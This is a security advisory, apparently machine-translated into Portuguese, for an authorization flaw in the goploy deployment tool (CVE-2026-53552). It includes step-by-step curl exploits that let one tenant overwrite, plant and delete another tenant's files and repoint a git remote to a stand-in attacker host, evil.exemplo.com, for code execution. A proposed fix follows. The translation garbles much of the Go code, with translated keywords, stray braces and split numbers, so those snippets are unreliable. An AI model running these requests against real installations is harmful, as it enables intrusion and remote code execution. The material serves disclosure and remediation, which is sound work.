`Projecto.AdicionarFile`, `Projecto.EditFile`, `Projecto.RemoveFile` e `Projecto.Edit` em `cmd/ server/api/project/handler.go` aceitam um id da linha de projeto ou arquivo do projeto do corpo JSON e atuam nele sem verificar se o projeto pertence ao espaço de nomes do chamador. As consultas correspondentes `model.ProjectFile.GetData` e `model.Project.GetData` filtram apenas por id da linha. Um usuário que mantenha o papel `manager` (ou qualquer papel que inclua a permissão `FileSync` / `EditProject`) no seu próprio espaço de nomes pode ler, escrever ou excluir arquivos em qualquer projeto através da instalação, e pode reescrever a URL remota git de qualquer projeto, submetendo o id estrangeiro no corpo. O primitivo git-URL escala para RCE na próxima implantação porque o `Edit` executa `git remote set-url` na árvore de trabalho do projeto. `zhenorzz/goploy` `desenvolver` HEAD a partir de 2026 - 05 - 27. Verificado contra o `zhenorzz/ goploy: 1.17.5 ` Imagem docker (` docker.io/zhenorzz/goploy@ sha 256: 69 d 08 e 1 d 16 d 7 a 7167426 c 89456 c 4 bcef 8 e 077 a 16554 a 4067 ff 258 fff 26 d 5 cd 44 `). Os quatro manipuladores e as buscas de modelos estão nesta forma através da API de arquivos e metadados do projeto API. `cmd/ server/api/ project/handler.go::AdicionarFile` (cria arquivo sob o diretório de qualquer projeto; corpo controla ` projectId`: ``` go func (Projecto) AddFile( gp *server.Goploy) server.Response { tipo ReqData estrutura { ProjectID int 64 `json:"projectId" valida:"required,gt= 0 "` Conteúdo string `json:"content" validar:"required"` Chave de nome de arquivo `json:"filename" validar:"required"` } var reqData ReqData se err:= gp.Decode(&reqData); err!= nul {...} filePath:= caminho.Junte-se(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename) //... os.Create(filePath); arquivo.WriteString(reqData.Content) id, err:= model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow() } ```````.
`cmd/server/api/project/handler.go::EditFile` (sobrescreve conteúdo de arquivo; o corpo controla id do arquivo, o servidor deriva projeto da linha de arquivos): ``` go func (Projecto) Editar o Ficheiro( gp * servidor.Goploy) servidor.Response { tipo ReqData estrutura { ID int 64 `json:"id" valida:"required,gt= 0 "` Conteúdo string `json:"content" validar:"required"` } var reqData ReqData se err:= gp.Decode(&reqData); err!= nul {... } projectFileData, err:= model.ProjectFile{ID: reqData.ID}.GetData() //... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)) arquivo.WriteString(reqData.Content) } ````. `cmd/ server/api/project/handler.go:: RemoveFile` (sem a linha de arquivo + arquivo no disco por id de corpo): ``` go func (Projecto) RemoveFile( gp *server.Goploy) server.Response { tipo ReqData estrutura { ProjectFileID int 64 `json:"projectFileId" valida:"required,gt= 0 "` } var reqData ReqData se err:= gp.Decode(&reqData); err!= nul {... } projectFileData, err:= model.ProjectFile{ID: reqData.ProjectFileID}.GetData() se errr:= os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); errr!= nul {... } } ```````````````````````````}} var reqData ReqData se errr:= gp.Decode(&reqData); err!= nul {...} } } } } } } } } } } } } } } } } } } `cmd/server/api/project/handler.go::Edit` (actualiza os metadados de qualquer projeto; na mudança de URL executa `git remote set-url` na árvore de trabalho do projeto): ``` go func (Projecto) Editar( gp * server.Goploy).Response { //... ReqData tem ID, Nome, URL, Branch, Script, etc. projectData, err:= model.Project{ID: reqData.ID}.GetData() model.Project{ID: reqData.ID, Nome: reqData.ID, Nome: reqData.ID, URL: reqData.URL,...}.EditRow() se reqData.URL!= projectData.URL { srcPath:= config.GetProjectPath(projectData.ID) cmd:= exec.Command("git", "remoto", "set-url", "origem", reqData.URL) cmd.Dir = srcPath } }.
`internal/model/project_file.go::ProjectFile.GetData` filtra somente por id da linha, sem um espaço de nomes. ```go func (pf ProjectFile) GetData() (ProjectFile, erro) { err:= sq. Selecione("id, project_id, nome do arquivo, insert_time, update_time"). De(ProjectFileTable). Onde(sq.Eq{"id": pf.ID}).... } ``` `internal/ server/route.go::Route. hasPermission` verifica apenas ids de permissão de nível de espaço de nomes; nada no fluxo de solicitação verifica que o id do projeto fornecido pelo corpo pertence ao `gp.Namespace. ID': ```go func (r Route) temPermissão(permissãoIDs map[int 64 Erro de ]struct{} { se len(r.permissionIDs) == 0 { devolver nenhum } para _, permissionID:= intervalo r.permissionIDs { se _, ok:= permissionIDs[permissionID]; ok { devolver nenhum } } erros de retorno.Novo("sem permissão") } ``` Qualquer usuário conectado atribuído ao papel de `manager` em seu próprio espaço de nomes pode chamar `/project/addFile`, `/project/editFile`, `/project/removeFile' e `/project/edit`. O papel de ` gestor` semeado (`role.id = 1 `) é concedido ambos `FileSync` (` permission.id = 68 `) e `EditProject` (`permission.id = 17 `) por `base de dados/goploy.sql`. As implantações multi- locatários normalmente atribuim `administrador` ao proprietário do projeto de cada inquilino; uma vez que o gerente do inquilino possui essas permissões no seu próprio espaço de nomes, eles as mantêm globalmente para esses quatro endpoints. ### Prova de conceito. Configuração contra a imagem do Docker publicada: ````bash docker network crie goploy-net docker run -d --name goploy-mysql --network goploy-net \ -e MYSQL_ROOT_PASSWORD=goploy 123 - e MYSQL_DATABASE=goploy \ mysql: 8.0 --default-authentication-plugin=mysql_native_password.
# Espere pelo MySQL, em seguida, carregue o esquema docker dop do banco de dados/goploy.sql goploy-mysql:/tmp/goploy.sql docker exec goploy-mysql sh -c 'mysql -uroot - pgoploy 123 goploy < / tmp/goploy.sql ' # Monte goploy.toml apontando DB em goploy- mysql: 3306 docker run - d -- nome goploy- app -- network goploy- net - p 18080: 80 \ - v $PWD/ repo:/opt/goploy/ repository \ zhenorzz/ goploy: 1.17.5 ``` Configurar dois espaços de nomes e dois usuários não super-gestores, cada um atribuído `gestor` (role_id= 1 ) somente em seu próprio espaço de nomes: ````bash # Admin login (admin de conta predefinido / admin!@# requer a mudança de primeira login) curl -s -c /tmp/admin.jar -X POST 18080 /user/ login \ -H 'Tipo de Conteúdo: aplicativo/json' \ -d '{"conta":"admin","password":"admin!@#","novaPassword":"Admin!@# 2026 "}' ADMIN_HDR='- b /tmp/admin.jar -H G- N- ID: 1 -H Tipo de Conteúdo: Aplicação/json'.
# Criar o enrolo NS_B -s $ADMIN_HDR -X POST 18080 /namespace/add -d '{"nome":"ns_b"}' # → {"dados":{"id": 2 }} # Criar alice (id= 2 ) e bob (id= 3 ) curl - s $ADMIN_HDR -X POST 18080 /user/add \ -d '{"conta":"alice","password":"Alice!@# 2026 ",," nome":"Alice","contato":"","superManager": 0 }' curl -s $ADMIN_HDR -X POST 18080 /user/add \ -d '{"conta":"bob","password":"Bob!@# 2026 ",," nome":"Bob","contato":"","superManager": 0 }' # Atribuir alice → NS_A (id= 1 ), bob → NS_B (id= 2 ), ambos como gerenciador (role_id= 1 ) curl - s $ADMIN_HDR -X POST 18080 /namespace/addUser \ -d '{"namespaceId": 1,"UserIds":[ 2 ], "roleId": 1 }' curl -s $ADMIN_HDR -X POST 18080 /namespace/addUser \ -d '{"namespaceId": 2,"UserIds":[ 3 ], "roleId": 1 }' # Como administrador na NS_A, crie projeto alix-prod (id= 1 ) com o arquivo alice-secrets.yml (id= 1 ) curl - s $ADMIN_HDR -X POST 18080 /project/add \ -d '{"nome":"alice-prod","repoType":"git","url":" "path":"/tmp/deploy/alice","ambiente": 1 ""branch":"master","transferType":"rsync", "transferOption":"- rtv","deployServerMode":"serial", "script":{"afterPull":{"mode":"","content":"},"afterDeploy":{"mode":"","content":"}, "deployFinish":{"mode":"","content":"}}' curl -s $ADMIN_HDR -X POST 18080 /project/addFile \ -d '{"projectId": 1,"nome do arquivo":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_ 2026 \n"} ' # Bob entra (mudança de primeira login) curl -s -c /tmp/bob.jar -X POST 18080 /user/ login \ -H 'Tipo de conteúdo: aplicativo/json' \ -d '{"conta":"bob","password":"Bob!@# 2026 ","Nova palavra de passe":"BobBob!@# 2026 "}'.
BOB_HDR='- b /tmp/bob.jar -H G- N- ID: 2 -H Tipo de Conteúdo: aplicação/json '``` Controle negativo: o próprio espaço de nomes do Bob não tem projetos. ````bash curl -s $BOB_HDR " 18080 /project/getList?page= 1 &rows= 100 " # → {"código": 0 ", dados": {"lista":[]}} ``` Explotar 1 — Bob sobrescreve o conteúdo do arquivo da Alice. ````bash curl -s $BOB_HDR -X PUT 18080 /project/ editFile \ -d '{"id": 1,"conteúdo":"OWNED PELO BOB\nattacker_namespace: ns_b\n"}' # → {"código": 0 "Messagem": "", "dados":null} docker exec goploy- app cat /opt/goploy/repository/repository/project-file/project_ 1 /alice-secrets.yml # PROPENSA PELO BOB # attacker_namespace: ns_b ```.
Explotar 2 — Bob planta um novo arquivo na pasta do projeto Alice: ````bash curl -s $BOB_HDR -X POST 18080 /project/addFile \ -d '{"projectId": 1,"nome do arquivo":".env.atacker","content":"PWN=bob_from_ns_b"}' # → {"código": 0 "Message": "", "dados": {"id": 2 }} docker exec goploy- app ls /opt/goploy/repository/repository/project-file/project_ 1 / #.env.atacker alice-secrets.yml ```. Explotar 3 — Bob exclui o arquivo da Alice: ````bash curl -s $BOB_HDR -X DELETE 18080 /project/ removeFile \ -d '{"projectFileId": 1 }' # → {"código": 0,"message":"","data":null} # alice-secrets.yml desapareceu do projeto_ 1 /. ``` Explotar 4 — Bob reescreverá o projeto da Alice em URL remota git. Na próxima implantação, goploy executa `git - C origem remota set- url ` e clones / puxa código atacante, levando ao RCE sob o usuário do goploy:.
````bash curl -s $BOB_HDR -X PUT 18080 /project/editar \ - d '{"id": 1,, nome:"alice-prod","repoType":"git", "url":"git@evil.exemplo.com:atacker/payload.git", "path":"/tmp/deploy/alice","ambiente": 1 ",Branch": "master", "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial", "script":{"afterPull":{"mode":"","content":"},"afterDeploy":{"mode":"","content":"}, "deployFinish":{"mode":"","content":""}}' # → {"código": 0 "Messagem": "", "dados":null} docker exec goploy- mysql mysql - uroot - pgoploy 123 goploy \ - e "SELECIONAR nome, url DO PROJECTO WHERE id= 1 *" # alice-prod. git@ evil.exemplo.com:attacker/payload. git ``` Controle positivo: O Bob editando um arquivo no seu próprio espaço de nomes (após criar um) passa pelo mesmo caminho de código e consegue normalmente — o patch deve manter isso funcionando. Adicione uma variante de espaço de nomes do `GetData` para que a camada do modelo requeira `(id, namespace_id)` e mude os quatro manipuladores. `internal/modelo/project_file.go`. ``` go func (pf ProjectFile) GetDataInNamespace(namespaceID int 64 ) (ProjectFile, erro) { var projectFile ProjectFile err:= sq. Selecione("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time"). A partir de(ProjectFileTable + " pf"). Join("project p ON p.id = pf.project_id"). Onde(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}. Executar com (DB). QueryRow(). Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.File, &projectFile.InsertTime, &projectFile.UpdateTime) retorna projectFile, err } ```.
`internal/model/project.go`: adicione um paralelo `Projecto.GetDataInNamespace` que se junta a `namespace_id`. `cmd/ server/api/ project/handler.go`. - `EditFile` e `RemoveFile` mudam para `model.ProjectFile{ID:...}.GetDataInNamespace(gp.Namespace.ID)`. - `AddFile` chama um novo `model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)` pré- check antes de `os.Create` e `AddRow`. - `Edit` chama `model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)` antes de `EditRow`. `sql.ErrNoRows` a partir da busca com espaço de nomes torna- se a negação correta para qualquer id de espaço de cruzamento. O mesmo padrão deve ser aplicado a outros consumidores de hidrógenos corporais neste arquivo (`Remover`, `SetAutoDeploy`, `UploadFile`, `AddTask`, `EditProcess', etc.) mas os quatro endpoints acima são os imediatamente exploráveis. Corrigir proposto em 26 RH- 24 rg-j 3 vv/ plug/ 1. O diff PR adiciona as variantes do modelo com espaço de nomes e muda os quatro manipuladores expostos para usá- los. Reportado por tongharoot.
Registro de aconselhamento: GHSA- 26 RH- 24 rg-j 3 vv. Identificadores relacionados: CVE- 2026 - 53552. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 07 T 23: 42: 12.000 Z e lista a sua última modificação como 2026 - 07 - 07 T 23: 42: 12.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N. Informações sobre software e versão afetadas: Go package github.com/zhenorzz/goploy — ECOSISTEM: introduzido 0, última afetada 1.17.5. Classificação e evidência: identificadores de fraqueza CWE- 639, CWE- 863. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.